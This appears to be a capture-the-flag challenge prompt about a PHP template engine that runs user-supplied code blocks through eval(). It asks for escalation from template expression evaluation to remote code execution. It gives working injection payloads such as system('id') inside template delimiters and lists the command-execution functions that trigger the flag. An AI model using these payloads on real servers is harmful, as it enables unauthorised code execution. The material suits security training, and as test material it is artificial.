This engine supports {{expression}} and {%% php_code %%} blocks.
Can you escalate from template expression evaluation to full RCE?
The engine uses eval() on user-provided code blocks.
Try: {%% echo system('id'); %%}
Or via expression: {{system('id')}}
To trigger the flag, use any of: system, exec, passthru, shell_exec, phpinfo